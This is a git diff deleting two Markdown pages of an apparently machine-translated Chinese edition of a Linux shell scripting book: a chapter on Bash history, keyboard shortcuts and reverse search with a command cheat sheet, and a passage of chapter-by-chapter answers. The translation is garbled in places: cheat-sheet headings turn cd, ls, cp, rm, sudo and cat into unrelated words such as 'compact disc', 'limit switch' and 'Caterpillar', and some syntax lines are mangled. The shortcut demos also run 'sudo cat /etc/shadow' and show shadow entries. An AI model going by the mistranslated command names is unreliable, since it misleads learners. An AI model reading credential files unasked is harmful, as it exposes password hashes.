- -当您忘记在命令前添加`sudo`(因为它是特权命令或操作特权文件)时,您可以: - -* 再次键入整个命令 -* 使用鼠标复制并粘贴命令 -* 使用向上箭头,后跟 Home 键,并键入`sudo` -* 或者简单输入`sudo !!` - -应该清楚哪一个最短,哪一个最容易,因此有我们的偏好。一定要意识到,这种简单也伴随着责任:如果你试图删除你不应该删除的文件,而你在没有充分考虑的情况下快速使用`sudo !!`,你的系统可能会在一瞬间消失。警告仍然存在:当作为`**root**`或与`sudo`交互时,在运行命令之前要三思。 - -# 运行历史记录中的命令 - -关于感叹号,我们认为值得描述的最后一件事是与历史的互动。正如您在几页前刚刚了解到的,历史会保存您的命令。使用感叹号,您可以快速运行历史记录中的命令:要么提供命令编号(例如,`!100`),要么输入命令的一部分(例如:`!ls`)。根据我们的经验,这些功能不如我们稍后将解释的*反向搜索*使用得多,但是了解这个功能仍然很好。 - -让我们看看这在实践中的表现: - -```sh -reader@ubuntu:~$ history | grep 100 - 1100 date - 2033 history | grep 100 -reader@ubuntu:~$ !1100 -date -Sat Dec 22 19:27:55 UTC 2018 -reader@ubuntu:~$ !ls -ls -al -total 152 -drwxr-xr-x 7 reader reader 4096 Dec 22 19:20 . -drwxr-xr-x 3 root root 4096 Nov 10 14:35 .. --rw-rw-r-- 1 reader reader 1530 Nov 17 20:47 bash-function-library.sh - -``` - -通过提供号码,`!1100`再次运行命令`date`。你应该意识到,历史一旦达到最大限度,就会发生变化。今天等同于`!1100`的命令下周可能会完全不同。在实践中,这被认为是一个有风险的举动,通常最好避免,因为你没有得到确认:你看到正在执行什么,而它正在运行(或者可能,它是在你看到你运行的时候完成的)。只有首先检查历史记录,你才能确定,在这种情况下,你不会节省任何时间,只会使用额外的时间。 - -有趣的是,基于命令本身重复一个命令,如`!ls`所示。这仍然有些风险,尤其是如果与破坏性命令(如`rm`)结合使用,但如果您确定最后一个与您的感叹号查询匹配的命令是什么,您应该相对安全(尤其是对于非破坏性命令(如`cat`或`ls`)。同样,在你开始将这种做法融入你的日常生活之前,一定要坚持阅读,直到我们解释完反向搜索。在这一点上,我们期望/希望这些对你来说更有趣,然后你可以在这里将信息归档为*很高兴知道*。 - -# 快捷键 - -我们要讨论的下一类快捷键是*键盘快捷键*。与前面的命令和 shell 关键字不同,这些只是在命令行上修改东西的组合键。我们讨论的组合都是通过使用 *CTRL* 键作为修饰符来工作的:您按住 *CTRL* 并按下另一个键,例如 *t* 。我们将把它描述为 *CTRL+t* ,就像我们在本书的其余部分所做的那样。说到`**CTRL+t**`,这其实是我们想要解决的第一个捷径!打了一个*错别字*就可以用`CTRL+t`: - -```sh -reader@ubuntu:~$ head /etc/passdw -# Last two letters are swapped, press CTRL+t to swap them: -reader@ubuntu:~$ head /etc/passwd -``` - -因为终端被修改了,所以很难得到这些页面的精确表示。我们在字里行间加入了一条评论,以展示我们做了什么,以及当我们做的时候有什么变化。然而,在你的终端,你只会看到一行。去试试吧。通过按下 *CTRL+t* ,您可以随时交换最后两个字符。请注意,它也考虑了空白:如果您已经按了空格键,您将会用最后一个字母替换空白,如下所示: - -```sh -reader@ubuntu:~$ sl -# CTRL+t -reader@ubuntu:~$ s l -``` - -如果你开始使用这个快捷方式,你会很快意识到交换两个字母比你最初想象的要常见得多。与 Bash 中的大多数东西一样,这个功能之所以存在,是因为人们使用它,所以如果这种情况发生得太频繁,你不需要对自己感到难过!至少有了这个快捷方式,你将能够快速减少错误。 - -接下来是`**CTRL+l**`快捷方式(小写 *L* ,其实是一个命令的快捷方式:`clear`。clear 的功能几乎和命令的名字一样简单:`clear` - *清除终端屏幕*(来自`man clear`)。这实际上是我们在每个终端会话中广泛使用的一个快捷方式(以及扩展的命令)。当你到达终端模拟器屏幕的*底部*时,上面有很多杂乱的东西,你可能会注意到这并不像你开始使用的空终端那样好用(我们的个人观点,也许你也有同感)。如果你想清除这个,你可以使用 *CTRL+l* 快捷键,或者直接输入`clear`命令。当您清除终端时,输出并没有消失:您可以一直向上滚动(通常通过鼠标滚轮或*SHIFT+向上翻页*)来查看清除了什么。但至少你的光标在顶部一个漂亮干净的屏幕上! - -还有一个`exit`命令的快捷方式,`**CTRL+d**`。这不仅在您想要*退出 SSH 会话*时非常有效,而且在许多其他交互式提示中也有效:一个很好的例子是`at`(在现实中,您*需要*使用 *CTRL+d* 从`at`提示中退出,因为`exit`将被解释为运行命令!).如你所知,`**CTRL+c**`向一个运行命令发送一个 cancel(技术上是 SIGINT,因为 Linux 下有很多强度的 cancel/kill),所以一定不要混淆 *CTRL+d* 和 *CTRL+c* 。 - -关于导航,有两个基于 CTRL 的快捷方式通常比它们的替代品更容易到达:`**CTRL+e**`和`**CTRL+a**`。`**CTRL+e**`将光标移动到行尾,类似于 end 键完成的操作。正如您所料,`**CTRL+a**`的作用正好相反:它可以替代 HOME 键。尤其是对于那些精通触摸打字的人来说,这些快捷键比将右手从主排移开找到 *END* / *HOME* 键要快。 - -# 从终端复制和粘贴 - -在基于图形用户界面的系统中,一个非常常见的事情就是剪切和粘贴文本。你会经常用鼠标选择文本,或者用鼠标右键复制粘贴,或者希望你已经找到了好的旧的`**CTRL+c**`和`**CTRL+v**`(对于 Windows,命令键对于 macOS)。就像我们之前解释过的,让你想起了前两段,Linux 下的 *CTRL+c* 绝对不是*复制*,而是*取消*。同样的, *CTRL+v* 也极有可能不会粘贴文字。那么,在 Linux 下,我们如何复制和粘贴呢? - -首先,如果您在图形用户界面桌面中使用 SSH 和终端模拟器,您可以使用鼠标右键来实现这一点(或者,如果您真的很喜欢,按鼠标中键通常也默认为粘贴!).您可以从互联网上的某个地方选择文本,例如,复制文本,然后用任一按钮将其粘贴到终端模拟器中。然而,我们总是努力优化我们的流程,一旦你需要抓住鼠标,你就失去了宝贵的时间。对于您已经复制的文本,有(对于大多数终端模拟器!)粘贴的快捷方式:`**SHIFT+insert**`。正如您所知,这个粘贴快捷方式并不局限于 Linux 或大多数终端仿真器:它似乎非常通用,也适用于带有图形用户界面的 Windows 和 Linux。就个人而言,为了我们的粘贴需求,我们几乎完全用 *SHIFT+insert* 代替了 *CTRL+v* 。 - -显然,如果我们能以这种方式粘贴,也一定有类似的复制方式。这个很类似:不用*SHIFT+插入*,可以用`**CTRL+insert**`进行复制。同样,这不仅限于 Linux 或终端:它在 Windows 上也能正常工作。对于我们这些使用 Linux 和 Windows 的人来说,将 *CTRL+c* 和 *CTRL+v* 替换为 *CTRL+insert* 和 *SHIFT+insert* 可以确保无论我们在什么环境下工作,我们总是能够正确地复制和粘贴。个人认为,我们在家里用的是 Linux,在工作中用的是 Windows,这就意味着我们的时间大概是在操作系统之间花掉了 50/50:相信我们,有一直好用的快捷键是非常好的! - -现在,上面的方法仍然依赖于鼠标。大多数情况下(根据您的工作,认为超过 95%)会是这种情况,但有时您根本没有鼠标(例如,当直接连接到数据中心服务器的终端时)。对我们来说幸运的是,有三个快捷方式可以在 Bash 中工作,并允许我们直接在命令行上剪切和粘贴: - -* `**CTRL+w**`:剪切光标前的单词 -* `**CTRL+u**`:剪切光标前一行的所有内容 -* `**CTRL+y**`:粘贴所有被剪切的内容(使用上面两个命令,不是一般的 OS 剪贴板!) - -除了可以剪切和粘贴之外, *CTRL+w* 从命令行中删除一个完整的单词也很棒。请看下面的例子: - -```sh -reader@ubuntu:~$ sudo cat /etc/passwd # Wrong file, we meant /etc/shadow! -root:x:0:0:root:/root:/bin/bash -daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -bin:x:2:2:bin:/bin:/usr/sbin/nologin - -# Up-arrow -reader@ubuntu:~$ sudo cat /etc/passwd -# CTRL+w -reader@ubuntu:~$ sudo cat # Ready to type /etc/shadow here. -``` - -容易发生的事情是给命令一个不正确的最后参数。如果你想快速修改这个,一个简单的*向上箭头*后面跟着一个 *CTRL+w* 将把前面的命令减去最后的参数放回你的终端。现在,你只需要给它正确的参数来再次运行它。或者,您可以: - -* 请重新键入整个命令 -* 使用鼠标滚动、复制和粘贴 -* *向上箭头*后面跟着一些退格 - -根据我们的经验,双击总是比所有其他可能的解决方案都快。只有当最后一个参数是单个字符时,使用*向上箭头*和*退格*才会是*同样快速的*,这有点夸张。 - -现在,在前面的例子中,我们实际上不仅*去掉了*最后一个参数,我们实际上*去掉了*它。当你剪切一个论点时,它给了你*再次粘贴*的能力。如上所述,这是一个特定于 Bash 的剪贴板,它不绑定到系统剪贴板;虽然您可能认为粘贴总是通过 *SHIFT+insert* 来完成,但在这种情况下,我们使用 *CTRL+y* 来粘贴 Bash 特定的剪贴板。展示这一点的最佳示例是使用`**CTRL+u**`进行全线切割: - -```sh -root@ubuntu:~# systemctl restart network-online.target # Did not press ENTER yet. -# Forgot to edit a file before restart, CTRL+u to cut the whole line. -root@ubuntu:~# vim /etc/sysctl.conf # Make the change. -# CTRL+y: paste the cut line again. -root@ubuntu:~# systemctl restart network-online.target # Now we press ENTER. -``` - -对我们来说,这是一个典型的场景,我们领先自己一步。我们已经键入了一个需要执行的命令,但是在我们按下*回车*之前,我们意识到我们忘记了在当前命令成功之前需要做的事情。在这个场景中,我们使用`**CTRL+u**`剪切整个命令,继续先决命令,当我们准备好的时候,我们再次用`**CTRL+y**`粘贴该行。同样,你可能认为这不会发生在你身上,但你可能会惊讶于你会经常遇到这种精确的模式。 - -# 反向搜索 - -就键盘快捷键而言,我们相信我们已经把最好的留到了最后。在我们目前介绍的所有省时程序中,就我们而言,这是迄今为止最酷的一个:*反向搜索*。 - -反向搜索允许您返回历史记录,并在执行的命令中搜索字符串。你可以认为这和`history | grep cat`类似,但是互动性更强,速度更快。进入反向搜索提示,使用`**CTRL+r**`键: - -```sh -reader@ubuntu:~$ # CTRL+r -(reverse-i-search)'': # Start typing now. -(reverse-i-search)'cat': cat /var/log/dpkg.log # Press CTRL+r again for next match. -(reverse-i-search)'cat': sudo cat /etc/shadow # When match is found, press ENTER to execute. -reader@ubuntu:~$ sudo cat /etc/shadow -root:*:17647:0:99999:7::: -daemon:*:17647:0:99999:7::: -bin:*:17647:0:99999:7::: - -``` - -请继续试一试。很难把这些交互式提示写在纸上,所以我们希望上面的评论能很好地说明反向搜索是如何工作的。你可以反向搜索,直到你的历史开始。如果此时再次按下 *CTRL+r* ,您将看到如下内容: - -```sh -(failed reverse-i-search)'cat': cat base-crontab.txt -``` - -这向您表示没有更多匹配项可供反向搜索查找。此时,或者之前如果觉得花的时间太长,可以随时按 *CTRL+c* 停止反向搜索。 - -与`!ls`语法相比,反向搜索不会仅从行首开始寻找关键词: - -```sh -reverse-i-search)'ls': cat grep-then-else.sh -``` - -这意味着它既更强大(它只匹配命令中的任何地方)又更复杂(它不仅仅匹配命令)。但是,如果您对此很聪明,并且只想使用命令,那么您可以始终使用适当的空白来确保不会出现上面示例中的情况: - -```sh -(reverse-i-search)'ls ': ls -al /tmp/new # Note the whitespace after ls. -``` - -虽然我们很想更多地谈论反向搜索,但你要正确学习它的唯一真正方法是开始使用它。请放心,如果您精通它的使用(并且还知道何时停止搜索,只需键入您正在寻找的命令),您一定会用您高效的终端工作打动您的同行! - -# 交互式命令的备忘单 - -我们将以一个用于交互式命令的简单备忘单来结束这本书。精通 Bash 是一个练习的问题。然而,这些年来,我们发现自己偶然发现了新的方法来使用我们不知道的命令或标志,这让我们的生活变得容易得多。甚至在写这本书的过程中,我们遇到了以前不知道的事情,这些事情非常有帮助。在编写命令和构造的过程中,您会更仔细地查看手动页面和资源,而不是在日常业务中简单地使用它们。 - -请利用这些备忘单,因为它们不仅包括基本语法,还包括我们认为非常值得了解的标志和提示(我们希望在职业生涯的早期找到它们)! - -这些备忘单不包括诸如查找/定位、重定向、测试和循环之类的内容:这些(希望)已经在它们各自的章节中进行了充分的描述。 - -# 航行 - -这些命令用于导航。 - -# 激光唱片 - -| **描述** | 更改 shell 工作目录。 | -| **语法** | CD [目录] | -| **实际用途** | - -* `cd`: Navigate to the home directory (specified in home). -* `cd -`: Navigate back to the previous directory (saved in OLDPWD). - - | - -# 限位开关(Limit Switch) - -| **描述** | 列出目录内容。 | -| **语法** | ls [OPTION]...[文件]... | -| **实际用途** | - -* `ls -a`: Don't ignore items that start with a dot (). And ...). -* `ls -l`: Use long list format. -* `ls -h`: use `-l` and/or `-s` to print a human-readable size (for example, 1K 234M 2G). -* `ls -R`: Recursively list subdirectories. -* `ls -S`: Sort by file size, with the highest priority. -* `ls -t`: Sort by modification time, with the latest priority. -* `ls -ltu`: sort basis, display access time. -* `ls -Z`: Print any security context of each file. - - | - -# 显示当前工作目录 - -| **描述** | 打印当前/工作目录的名称。 | -| **语法** | pwd[选项]-我...。 | - -# 文件操作 - -这些命令用于文件操作。 - -# 猫 - -| **描述** | 连接文件并在标准输出上打印。 | -| **语法** | 卡特彼勒[选项]...[文件]... | -| **实际用途** | - -* `cat` or `cat -`: If there is no file, or if the file is-,read the standard input. -* `cat -n`: Number all output lines. - - | - -# 较少的 - -| **描述** | 使用寻呼机一次在一个屏幕上浏览文本。 | -| **语法** | 减去[选项]...[文件]... | -| **实际用途** | - -* `less -S`: Cut the long queue. The line does not wrap around, but it can be seen with the left and right arrow keys. -* `less -N`: Displays the line number. - - | - -# 触控 - -| **描述** | 更改文件时间戳和/或创建空文件。 | -| **语法** | 触摸[选项]...文件... | -| **实际用途** | - -* `touch `: Create an empty file. - - | - -# 创建目录 - -| **描述** | 制作目录。 | -| **语法** | mkdir [OPTION]...目录... | -| **实际用途** | - -* `mkdir -m750 `: Create a directory with specified octal permissions. -* `mkdir -Z`: Set the SELinux security context of each created directory to the default type. - - | - -# 丙酸纤维素 - -| **描述** | 复制文件和目录。 | -| **语法** | CP[选项]...来源...目录 | -| **实际用途** | - -* `cp -a`: Archive mode, which retains all permissions, links, attributes, etc. -* `cp -i`: Prompt before overwriting (`-n` option before overwriting). -* `cp -r` and `cp -R`: Recursively copy directories. -* `cp -u`: Copy only when the source file is newer than the target file or the target file is missing. - - | - -# 空间 - -| **描述** | 删除文件或目录。 | -| **语法** | rm [OPTION]...[文件]... | -| **实际用途** | - -* `rm -f`: Ignore nonexistent files and parameters, and never prompt. -* `rm -i`: Prompt before each removal. -* `rm -I` (capital I): prompt once before deleting more than three files, or once when recursively deleting; It is less invasive than -i and can prevent most errors at the same time. -* `rm -r` `rm -R`: Recursively delete the directory and its contents. - - | - -# 平均变化 - -| **描述** | 移动(重命名)文件。 | -| **语法** | mv[选项]...来源...目录 | -| **实际用途** | - -* `mv -f`: Do not prompt before overwriting. -* `mv -n`: Do not overwrite existing files. -* `mv -u`: Move only when the source file is newer than the target file or the target file is missing. - - | - -# ln - -| **描述** | 在文件之间建立链接。默认为硬链接。 | -| **语法** | [选项]...[-T]目标链接名 | -| **实际用途** | - -* `ln -s`: Do symbolic link instead of hard link. -* `ln -i`: Prompt whether to delete the destination. - - | - -# 头 - -| **描述** | 输出文件的第一部分。 | -| **语法** | 标题[选项]...[文件]... | -| **实际用途** | - -* `head`: Print the first 10 lines of each FILE to standard output. -* `head -n20` or `head -20`: print the first NUM line instead of the first 10 lines. -* `head -c20`: print the first NUM bytes of each file. -* `head -q`: Do not print the title giving the file name. - - | - -# 尾巴 - -`tail`命令的选项与`head`相同,但从文件的结尾而不是开头来看。 - -| **描述** | 输出文件的最后一部分。 | -| **语法** | 尾部[选项]...[文件]... | - -# 权限和所有权 - -这些命令用于权限和所有权操作。 - -# 改变文件权限 - -| **描述** | 更改文件模式位。可以指定为 rwx 或八进制模式。 | -| **语法** | chmod [OPTION]...八进制模式文件... | -| **实际用途** | - -* `chmod -c`: I like to be long-winded, but I will report any changes. -* `chmod -R`: Recursively change files and directories. -* `chmod --reference=RFILE`: Copy mode from reference file. - - | - -# 默认属性 - -| **描述** | 设置文件模式创建掩码。由于这是一个*遮罩*,它是正常八进制模式的反向。 | -| **语法** | 八进制掩码 | - -# 乔恩 - -| **描述** | 更改文件所有者和组。仅具有根权限的可执行文件。 | -| **语法** | chown [OPTION]...[所有者][:[组]]文件... | -| **实际用途** | - -* `chown user: `: Change ownership to users and their default groups. -* `chown -c`: I like to be verbose, but I will report it only if I make changes. -* `chown --reference=RFILE`: Copy the ownership from the reference file. -* `chown -R`: Recursively operate files and directories. - - | - -# chgrp - -| **描述** | 更改组所有权。 | -| **语法** | chgrp [OPTION]...分组文件... | -| **实际用途** | - -* `chgrp -c`: I like to be long-winded, but I will report any changes. -* `chgrp --reference=RFILE`: Copy the group ownership from the reference file. -* `chgrp -R`: Recursively operate files and directories. - - | - -# 日本首藤 - -| **描述** | 以另一个用户的身份执行命令。 | -| **语法** | sudo[选项]-我...。 | -| **实际用途** | - -* `sudo -i`: Become the root user. -* `sudo -l`: List the commands that call user permission (and prohibition). -* `sudo -u `: Run < command > as the designated < user >. -* `sudo -u -i`: Log in with the specified < user >. - - | - -# 快点,快点 - -| **描述** | 更改用户标识或成为超级用户。 | -| **语法** | su[选项][用户名] | -| **实际用途** | - -* `sudo su -`: Switch to root user. If you need sudo, you can choose to use your own password. -* `su - `: Switch to < User >. Password is required for < user >. - - | - -# useradd(用户添加) - -| **描述** | 创建新用户或更新默认的新用户信息。 | -| **语法** | user add[选项]登录 | -| **实际用途** | - -* `useradd -m`: If it does not exist, create the user's home directory. -* `useradd -s `: The name of the user login shell. -* `useradd -u `: numerical value of user ID. -* `useradd -g `: the group name or number of the user's initial login group. - - | - -# groupadd(组添加) - -| **描述** | 创建新组。 | -| **语法** | 组添加[选项]组 | -| **实际用途** | - -* `groupadd -g `: the numerical value of this group ID. -* `groupadd -r`: Create a system group. The GID of these websites is (usually) lower than that of users. - - | - -# 用户模组 - -| **描述** | 修改用户帐户。 | -| **语法** | 用户模式[选项]登录 | -| **实际用途** | - -* `usermod -g `: Change the main group > of < users to < group >. -* `usermod -aG `: Add < user > to < group >. For users, this will be a supplementary group. -* `usermod -s `: Set the login shell for < user >. -* `usermod -md `: Move the home directory of < user > to < home directory >. - - | - -# 摘要 - -我们从一般提示和技巧开始这最后一章。本章的这一部分涉及数组、`history`命令,以及使用`alias`为您最喜欢的命令及其标志设置别名的能力。 - -我们继续使用键盘快捷键。我们从讨论感叹号及其在 Bash 中的用途开始这一部分:它用于否定退出代码,替换以前命令的一部分,甚至通过匹配行号或行内容来运行历史命令。之后,我们展示了 Bash 的几个有趣的键盘快捷键如何让我们在常见的操作和使用模式上节省一些时间(比如错别字和被遗忘的中间命令)。我们最后保存了最好的键盘快捷键:反向搜索。这些允许您交互式地浏览您的个人历史,以找到正确的命令来再次执行。 - -我们在这一章和这本书的结尾用了一个小抄来记录我们在这本书里介绍的大多数命令。该备忘单包含所有命令的基本语法,以及我们最喜欢的命令标志和组合。 - -本章介绍了以下命令:`history`和`clear`。 - -# 最后的话 - -如果你已经做到了这一步:谢谢你阅读我们的书。我们希望你喜欢阅读它,就像我们喜欢创作它一样。继续编写脚本和学习:熟能生巧!*** \ No newline at end of file diff --git a/docs/learn-linux-shell-script/18.md b/docs/learn-linux-shell-script/18.md deleted file mode 100644 index 03b13d39..00000000 --- a/docs/learn-linux-shell-script/18.md +++ /dev/null @@ -1,360 +0,0 @@ -# 十八、答案 - -# 第二章 - -1. **运行虚拟机比裸机安装更可取的一些原因是什么?** - * 虚拟机可以在当前首选的操作系统中运行,而不是替换它或设置复杂的双启动解决方案。 - * 可以对虚拟机进行快照,这意味着可以保留和恢复虚拟机的整个状态。 - * 许多不同的操作系统可以同时在一台机器上运行。 -2. **与裸机安装相比,运行虚拟机有哪些缺点?** - * 虚拟化会带来一些开销。 - * 与运行裸机安装相比,总是会使用更多的资源(CPU/RAM/磁盘)。 -3. **1 型和 2 型虚拟机管理程序有什么区别?** - Type-1 虚拟机管理程序直接安装在物理机上(例如 VMWare vSphere、KVM、Xen),而 type-2 虚拟机管理程序安装在已经运行的操作系统上(例如 VirtualBox、VMWare Workstation Player)。 -4. **我们可以通过哪两种方式在 VirtualBox 上启动虚拟机?** - * 正常情况下,这将打开一个带有终端控制台(或图形用户界面,如果安装了桌面环境)的新窗口。 - * 无头,将虚拟机作为服务器运行,没有图形用户界面。 -5. **Ubuntu LTS 版有什么特别之处?** - LTS 代表长期支持。Ubuntu LTS 版本保证更新五年,而不是常规 Ubuntu 版本的九个月。 -6. **如果 Ubuntu 安装后,虚拟机再次引导到 Ubuntu 安装屏幕,我们该怎么办?** - 我们应该检查虚拟硬盘的引导顺序是否高于光驱,或者我们从光驱中卸载 ISO,这样只有虚拟硬盘才是有效的引导目标。 - -7. **如果我们在安装过程中不小心重启了,我们永远不会在 Ubuntu 安装中结束(而是看到一个错误),我们该怎么办?** 我们应该确保光盘在引导顺序上高于虚拟硬盘,并且我们需要确保光盘上安装了 ISO。 -8. **我们为什么要为虚拟机设置 NAT 转发?** - 所以我们不局限于使用终端控制台,而是可以使用更丰富的 SSH 工具,比如 PuTTY 或者 MobaXterm。 - -# 第三章 - -1. **为什么语法高亮是文本编辑器的一个重要特性?** 通过使用颜色,很容易发现语法错误。 -2. **我们如何扩展 Atom 已经提供的功能?** 我们可以安装额外的软件包,甚至自己编写。 -3. **编写 shell 脚本时自动完成有什么好处?** - * 它减少了类型,尤其是对于多行结构。 - * 这样更容易找到命令。 -4. **如何描述 Vim 和 GNU nano 的区别?** Nano 简单,Vim 强大。 -5. **Vim 中最有趣的两种模式是哪一种?** 正常模式和插入模式。 -6. **是什么。vimrc 文件?** 用于配置 Vim 的持久选项,比如配色方案以及如何处理标签。 -7. **当我们称 nano 为所见即所得编辑器是什么意思?** - 所见即所得代表所见即所得,也就是说你可以开始用光标打字。 -8. **为什么我们要把 GUI 编辑器和命令行编辑器结合起来?** 因为用 GUI 编辑器更容易写,但是用命令行编辑器更容易排除故障。 - -# 第四章 - -1. **什么是文件系统?** - 在物理介质上存储和检索数据的软件实现。 -2. **哪些特定于 Linux 的文件系统最常见?** - * ext4 - * XFS - * btr 护堤 -3. **真真假假:Linux 上可以同时使用多个文件系统实现?** - 真;根文件系统始终是单一类型,但文件系统树的不同部分可用于装载其他类型的文件系统。 -4. **大多数 Linux 文件系统实现中的日志功能是什么?** - 日志是确保对磁盘的写入不会中途失败的机制。它大大提高了文件系统的可靠性。 -5. **根文件系统装载在树中的哪个点?**在最高点`/.`上 -6. **PATH 变量用于什么?** - 用于确定从哪个目录可以使用二进制文件。您可以使用命令“echo $PATH”检查路径变量的内容。 -7. **根据文件系统层次标准,配置文件存储在哪个顶级目录中?** - 在`/etc/`。 -8. **流程日志通常保存在哪里?** - 在`/var/log/`。 -9. 【Linux 有多少种文件类型? - 7 -10. **Bash 自动完成功能是如何工作的?** - 对于支持自动完成功能的命令,可以使用 TAB 键一次获取正确的参数(如果只有一种可能),或者使用 TAB 键两次获取可能的参数列表。 - -# 第五章 - -1. 【Linux 文件使用哪三种权限? - * 阅读 - * 写 - * 执行 -2. 【Linux 文件定义了哪三种所有权类型? - * 用户 - * 组 - * 其他人 -3. **哪个命令用于更改文件的权限?** - `chmod` -4. **什么机制控制新创建文件的默认权限?** - `umask` -5. **如何用八进制描述以下符号许可:** rwxrw-r - - 0764。前三名(用户)从 rwx 开始 7 个,后三名(组)从`rw-`开始 6 个,后三名(其他)从`r--`开始 4 个。 -6. **下面的八进制权限如何象征性的描述:** 0644 - rw-r - r -。第一个 6 是读/写,然后两个 4 是读。 -7. **哪个命令允许我们获得超级用户权限?** - `sudo` -8. **我们可以使用哪些命令来更改文件的所有权?** - * `chown` - * `chgrp` -9. **如何安排多个用户共享文件的访问权限?** 我们确保他们共享组成员资格,并创建一个目录,其中只允许这些组的成员。 -10. 【Linux 有哪些类型的高级权限? - * 文件属性 - * 特殊文件权限 - * 访问控制列表 - -# 第六章 - -1. **在 Linux 中我们用哪个命令复制文件?** - `cp`。 -2. **移动文件和重命名文件有什么区别?** - 技术上没有区别。在功能上,移动会更改文件所在的目录,而重命名会将文件保留在同一目录中。两者在 Linux 中都是由`mv`命令处理的。 - -3. **为什么** `rm` **命令,用来删除 Linux 下的文件,潜在危险?** - * 它可以用来递归删除目录和目录中的任何内容 - * (默认情况下)它不会显示“你确定吗?”提示 - * 它允许您使用通配符删除文件 -4. **硬链接和符号(软)链接有什么区别?** - 硬链接指的是文件系统上的数据,而符号链接指的是文件(而文件又指的是文件系统上的数据)。 -5. **`tar`最重要的三种运行模式是什么?** - * 存档模式 - * 提取模式 - * 打印模式 -6. **哪个选项被`tar`用来选择输出目录?** - `-C` -7. **在文件名上搜索`locate`和`find`最大的区别是什么?** - 默认情况下,定位允许部分命名匹配,而如果需要部分匹配,查找需要指定通配符。 -8. **可以组合`find`的多少个选项?** - 搜索需要多少就有多少!这正是`find`如此强大的原因。 - -# 第七章 - -1. **按照惯例,当我们学习一门新的编程或脚本语言时,首先要做什么?** - 我们打印字符串“你好世界”。 -2. 【Bash 的 shebang 是什么? - #!/bin/bash -3. **为什么需要舍邦?** - 如果我们在运行脚本时没有指定应该使用哪个程序,shebang 将允许 Linux 使用正确的程序。 -4. **我们可以用哪三种方式运行一个脚本?** - * 通过使用我们想要运行它的程序:`bash script.sh` - * 通过设置可执行权限并在 scriptname 前面加上。/: ``./script.sh`` - -5. **为什么我们在创建 shell 脚本时如此强调可读性?** - * 如果使用脚本的人能够容易地理解脚本的作用,那么脚本就更容易使用了 - * 如果你以外的任何人需要编辑剧本(几个月后你也可以认为自己是“别人”!)如果简单易懂,会有很大帮助 -6. **我们为什么要用评论?** - 所以我们可以解释脚本中那些仅仅看命令可能不明显的东西。此外,它还允许我们给出一些设计原理,如果这有助于澄清脚本。 -7. **为什么我们建议为你写的所有 shell 脚本都包含一个脚本头?** - If 给了一点关于作者的信息,年龄和对剧本的描述。它有助于为脚本提供上下文,这在脚本没有按预期工作或需要修改时非常有用。 -8. **我们讨论过哪三种类型的冗长?** - * 评论冗长 - * 命令冗长 - * 命令输出冗长 -9. **KISS 原理是什么?** - KISS,代表*保持简单,愚蠢*,是一个设计建议,帮助我们记住我们应该保持简单,因为这通常会提高可用性和可读性,同时在大多数情况下也是最好的解决方案。 - -# 第八章 - -1. **什么是变量?** - 变量是编程语言的基本构件,用于存储在应用中可以多次引用的运行时值。 -2. **我们为什么需要变量?** - 变量非常适合存储您多次需要的信息。在这种情况下,如果您需要更改信息,这是一个单一的操作(在常量的情况下)。在实变量的情况下,它允许我们引用程序中的运行时信息。 - -最后,适当的变量命名允许我们向脚本授予额外的上下文,增加可读性。 - -3. **什么是常数?** - 常数是一种特殊类型的变量,因为它的值是固定的,并在整个脚本中使用。正常变量在执行过程中经常会发生多次变异。 -4. **为什么命名约定对变量特别重要?** - Bash 让我们几乎可以给任何变量命名。因为这会变得令人困惑(这从来都不是一件好事!)选择一个命名约定并坚持它是很重要的:这增加了我们脚本的一致性和连贯性。 -5. **什么是位置论点?** - 当您调用 Bash 脚本时,可以在脚本中访问在`bash scriptname.sh`命令之后传递的任何其他文本,因为该文本被认为是脚本的*参数*。每个没有用引号括起来的单词都被当作一个参数来处理:一个多单词的参数应该用引号括起来! -6. **参数和自变量有什么区别?** - 参数用于填充脚本的参数。参数是脚本逻辑中使用的*静态变量名*,而参数是用作参数的*运行时值*。 -7. **怎样才能让一个剧本互动起来?** - 通过使用`read`命令。我们可以将用户给出的值存储在我们选择的变量中,否则我们可以使用默认的$REPLY 变量。 -8. **如何才能创建一个既能非交互又能交互使用的脚本?** - 通过将(可选的)位置参数与`read`命令相结合。为了在启动脚本的逻辑之前验证我们拥有所有需要的信息,我们使用`if-then`构造和`test`命令来查看我们所有的变量是否都已填充。 - -# 第九章 - -1. **为什么我们需要退出状态?** - 因此,如果命令以简单的方式成功或失败,它们可以向调用者发出信号。 -2. **退出状态、退出代码、返回代码有什么区别?** - 一个退出码和返回码指的是同一个东西。退出状态是一个*概念*,由退出/返回代码赋予生命。 - -3. **我们在测试中使用哪个标志来测试:** - * *一个现有的目录* - -维 - * *一个可写文件* - -w - * *一个现有的符号链接* - -h(或-L) -4. **首选的`test -d /tmp/`速记语法是什么?** - [-d/tmp/]]。请注意,[[和]之前的空格是必需的,否则命令将失败! -5. **我们如何在 Bash 会话中打印调试信息?** - 设置-x 标志,可以在 shell 中用`set -x`或者在调用脚本时用`bash -x`设置。 -6. **如何检查一个变量是否有内容?** - * if [[ -n ${variable} ]]检查变量是否非零 - * if [!-z ${variable} ]]检查变量是否不为零 -7. **抓取返回代码的 Bash 格式是什么?** - $?。 -8. **的||和&的&,哪个是逻辑的 and,哪个是 OR?** - ||是 OR,& &是 AND。 -9. **抓取参数数量的 Bash 格式是什么?** - $#。 -10. **我们如何确保用户从哪个工作目录调用脚本并不重要?** - 通过提供一个`cd $(dirname $0)`开头的脚本。 -11. **Bash 参数展开在处理用户输入时如何帮助我们?** - 它允许我们删除大写字母,这样我们就可以更容易地与期望值进行比较。 - -# 第十章 - -1. **什么是搜索模式?** - 一种正则表达式语法,它允许我们找到具有特定特征的文本片段,例如长度、内容和在一行中的位置。 -2. **为什么正则表达式被认为是贪婪的?** - 大多数正则表达式试图找到尽可能多的与搜索模式匹配的数据。这包括空白和其他标点符号,这对人类来说是一个逻辑上的分离,但对机器来说不一定。 -3. **搜索模式中的哪个字符被认为是除换行符以外的任何一个字符的通配符?** - 圆点(。). -4. **星号在 Linux 正则表达式搜索模式中是如何使用的?** - *与另一个字符结合使用,使其形成重复字符。搜索模式示例:spe*d 将匹配 spd、速度、速度、速度等。 -5. **什么是线锚?** - 用来表示行首和行尾的特殊字符。^为行首,美元为行尾。 -6. **说出三种字符类型。** - 这些都是正确的: - * 含字母和数字的 - * 字母表 - * 小写字母 - * 大写字母 - * 数字 - * 空白 -7. **什么是球状?** - 当你使用*或时,就完成了全球定位?在命令行上与文件或文件路径交互时。Globbing 允许我们轻松地操作(移动、复制、删除等)在 globbing 模式下匹配的文件。 -8. 